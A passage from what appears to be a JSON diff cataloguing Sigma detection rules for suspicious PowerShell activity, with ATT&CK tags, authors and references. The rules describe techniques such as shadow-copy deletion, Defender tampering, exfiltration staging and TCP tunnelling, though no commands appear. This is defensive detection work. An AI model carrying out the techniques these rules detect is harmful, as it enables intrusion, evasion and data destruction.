"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2022/04/04", + "filename": "posh_ps_susp_get_current_user.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of Get-GPO to get one GPO or all the GPOs in a domain.", + "uuid": "eb2fd349-ec67-4caa-9143-d79c7fb34441", + "value": "Suspicious GPO Discovery With Get-GPO", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", + "https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_gpo.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1615" + ], + "creation_date": "2022/06/04", + "filename": "posh_ps_susp_get_gpo.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Get the processes that are running on the local computer.", + "uuid": "af4c87ce-bdda-4215-b998-15220772e993", + "value": "Suspicious Process Discovery With Get-Process", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-3---process-discovery---get-process", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_process.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1057" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_susp_get_process.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers", + "uuid": "0332a266-b584-47b4-933d-a00b103e1b37", + "value": "Suspicious Get-WmiObject", + "meta": { + "refs": [ + "https://attack.mitre.org/datasources/DS0005/", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gwmi.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546" + ], + "creation_date": "2022/01/12", + "filename": "posh_ps_susp_gwmi.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection", + "uuid": "42d36aa1-3240-4db0-8257-e0118dcdd9cd", + "value": "Suspicious Hyper-V Cmdlets", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_hyper_v_condlet.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.006" + ], + "creation_date": "2022/04/09", + "filename": "posh_ps_susp_hyper_v_condlet.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "uuid": "ed965133-513f-41d9-a441-e38076a0798f", + "value": "Suspicious PowerShell Invocations - Generic", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_generic.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/12", + "filename": "posh_ps_susp_invocation_generic.yml", + "author": "Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Very special / sneaky PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "uuid": "ae7fbf8e-f3cb-49fd-8db4-5f3bed522c71", + "value": "Suspicious PowerShell Invocations - Specific", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_specific.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_ps_susp_invocation_specific.yml", + "author": "Florian Roth (rule), Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.\nCommands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n", + "uuid": "d4488827-73af-4f8d-9244-7b7662ef046e", + "value": "Change User Agents with WebRequest", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#t1071001---web-protocols", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invoke_webrequest_useragent.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2022/01/23", + "filename": "posh_ps_susp_invoke_webrequest_useragent.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Open a handle on the drive volume via the \\\\.\\ DOS device path specifier and perform direct access read of the first few bytes of the volume.", + "uuid": "70ad982f-67c8-40e0-a955-b920c2fa05cb", + "value": "Suspicious IO.FileStream", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1006/T1006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_iofilestream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2022/01/09", + "filename": "posh_ps_susp_iofilestream.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects keywords that could indicate the use of some PowerShell exploitation framework", + "uuid": "1f49f2ab-26bc-48b3-96cc-dcffbc93eadf", + "value": "Suspicious PowerShell Keywords", + "meta": { + "refs": [ + "https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462", + "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1", + "https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1", + "https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keywords.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/02/11", + "filename": "posh_ps_susp_keywords.yml", + "author": "Florian Roth, Perez Diego (@darkquassar)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", + "uuid": "fa6a5a45-3ee2-4529-aa14-ee5edc9e29cb", + "value": "Suspicious Get Local Groups Information", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_local_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/12", + "filename": "posh_ps_susp_local_group_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may target user email on local systems to collect sensitive information.\nFiles containing email data can be acquired from a users local system, such as Outlook storage or cache files.\n", + "uuid": "2837e152-93c8-43d2-85ba-c3cd3c2ae614", + "value": "Powershell Local Email Collection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1114.001/T1114.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mail_acces.yml" + ], + "tags": [ + "attack.collection", + "attack.t1114.001" + ], + "creation_date": "2021/07/21", + "filename": "posh_ps_susp_mail_acces.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", + "uuid": "66a4d409-451b-4151-94f4-a55d559c49b0", + "value": "PowerShell Deleted Mounted Share", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mounted_share_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.005" + ], + "creation_date": "2020/10/08", + "filename": "posh_ps_susp_mounted_share_deletion.yml", + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "level": "medium", + "falsepositive": [ + "Administrators or Power users may remove their shares via cmd line" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", + "uuid": "29e1c216-6408-489d-8a06-ee9d151ef819", + "value": "Suspicious Mount-DiskImage", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image", + "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mount_diskimage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.005" + ], + "creation_date": "2022/02/01", + "filename": "posh_ps_susp_mount_diskimage.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts.\nWithout knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism\n", + "uuid": "1883444f-084b-419b-ac62-e0d0c5b3693f", + "value": "Suspicious Connection to Remote Account", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.001/T1110.001.md#atomic-test-2---brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_networkcredential.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110.001" + ], + "creation_date": "2021/12/27", + "filename": "posh_ps_susp_networkcredential.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.", + "uuid": "1c563233-030e-4a07-af8c-ee0490a66d3a", + "value": "Suspicious New-PSDrive to Admin Share", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2---map-admin-share-powershell", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_new_psdrive.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2022/08/13", + "filename": "posh_ps_susp_new_psdrive.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity", + "uuid": "bd33d2aa-497e-4651-9893-5c5364646595", + "value": "Suspicious TCP Tunnel Via PowerShell Script", + "meta": { + "refs": [ + "https://github.com/Arno0x/PowerShellScripts/blob/a6b7d5490fbf0b20f91195838f3a11156724b4f7/proxyTunnel.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_proxy_scripts.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2022/07/08", + "filename": "posh_ps_susp_proxy_scripts.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data", + "uuid": "a9723fcc-881c-424c-8709-fd61442ab3c3", + "value": "Recon Information for Export with PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_recon_export.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119" + ], + "creation_date": "2021/07/30", + "filename": "posh_ps_susp_recon_export.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\nAccounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n", + "uuid": "48a45d45-8112-416b-8a67-46e03a4b2107", + "value": "Remove Account From Domain Admin Group", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1531/T1531.md#atomic-test-3---remove-account-from-domain-admin-group", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_remove_adgroupmember.yml" + ], + "tags": [ + "attack.impact", + "attack.t1531" + ], + "creation_date": "2021/12/26", + "filename": "posh_ps_susp_remove_adgroupmember.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", + "uuid": "22d80745-6f2c-46da-826b-77adaededd74", + "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet - PS", + "meta": { + "refs": [ + "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_service_dacl_modification_set_service.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2022/10/24", + "filename": "posh_ps_susp_service_dacl_modification_set_service.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare intended use of hidden services", + "Rare FP could occure due to the non linearity of the ScriptBlockText log" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as\na precursor for Collection and to identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", + "uuid": "95f0643a-ed40-467c-806b-aac9542ec5ab", + "value": "Suspicious Get Information for SMB Share", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_smb_share_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/15", + "filename": "posh_ps_susp_smb_share_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", + "uuid": "195626f3-5f1b-4403-93b7-e6cfd4d6a078", + "value": "Suspicious SSL Connection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1573/T1573.md#atomic-test-1---openssl-c2", + "https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ssl_keyword.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ], + "creation_date": "2022/01/23", + "filename": "posh_ps_susp_ssl_keyword.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Powershell use PassThru option to start in background", + "uuid": "0718cd72-f316-4aa2-988f-838ea8533277", + "value": "Suspicious Start-Process PassThru", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_start_process.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2022/01/15", + "filename": "posh_ps_susp_start_process.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.", + "uuid": "5947497f-1aa4-41dd-9693-c9848d58727d", + "value": "Suspicious Unblock-File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.005" + ], + "creation_date": "2022/02/01", + "filename": "posh_ps_susp_unblock_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users.\nThis may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper\n", + "uuid": "c5ac6a1e-9407-45f5-a0ce-ca9a0806a287", + "value": "Replace Desktop Wallpaper by Powershell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml" + ], + "tags": [ + "attack.impact", + "attack.t1491.001" + ], + "creation_date": "2021/12/26", + "filename": "posh_ps_susp_wallpaper.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.", + "uuid": "b26647de-4feb-4283-af6b-6117661283c5", + "value": "Powershell Suspicious Win32_PnPEntity", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1120" + ], + "creation_date": "2021/08/23", + "filename": "posh_ps_susp_win32_pnpentity.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Admin script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", + "uuid": "e17121b4-ef2a-4418-8a59-12fb1631fa9e", + "value": "Delete Volume Shadow Copies via WMI with PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/12/26", + "filename": "posh_ps_susp_win32_shadowcopy.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", + "uuid": "c1337eb8-921a-4b59-855b-4ba188ddcc42", + "value": "Deletion of Volume Shadow Copies via WMI with PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy_deletion.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/09/20", + "filename": "posh_ps_susp_win32_shadowcopy_deletion.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.\nIn some cases, windows that would typically be displayed when an application carries out an operation can be hidden\n", + "uuid": "313fbb0a-a341-4682-848d-6d6f8c4fab7c", + "value": "Suspicious PowerShell WindowStyle Option", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.003" + ], + "creation_date": "2021/10/20", + "filename": "posh_ps_susp_windowstyle.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"Write-EventLog\" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use", + "uuid": "35f41cd7-c98e-469f-8a02-ec4ba0cc7a7e", + "value": "PowerShell Write-EventLog Usage", + "meta": { + "refs": [ + "https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/16", + "filename": "posh_ps_susp_write_eventlog.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate applications writing events via this cmdlet. Investigate alerts to determine if the action is benign" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "uuid": "b7a3c9a3-09ea-4934-8864-6a32cacd98d9", + "value": "Zip A Folder With PowerShell For Staging In Temp", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ], + "creation_date": "2021/07/20", + "filename": "posh_ps_susp_zip_compress.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", + "uuid": "dddfebae-c46f-439c-af7a-fdb6bde90218", + "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/05", + "filename": "posh_ps_syncappvpublishingserver_exe.yml", + "author": "Ensar \u015eamil, @sblmsrsn, OSCD Community", + "level": "medium", + "falsepositive": [ + "App-V clients" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell scripts attempting to disable scheduled scanning and other parts of windows defender atp or set default actions to allow.", + "uuid": "14c71865-6cd3-44ae-adaa-1db923fae5f2", + "value": "Tamper Windows Defender - ScriptBlockLogging", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", + "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/01/16", + "filename": "posh_ps_tamper_defender.yml", + "author": "frack113, elhoim", + "level": "high", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", + "uuid": "ae2bdd58-0681-48ac-be7f-58ab4e593458", + "value": "Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging", + "meta": { + "refs": [ + "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender_remove_mppreference.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/05", + "filename": "posh_ps_tamper_defender_remove_mppreference.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may communicate using a protocol and port paring that are typically not associated.\nFor example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.\n", + "uuid": "adf876b3-f1f8-4aa9-a4e4-a64106feec06", + "value": "Testing Usage of Uncommonly Used Port", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell", + "https://docs.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps", + 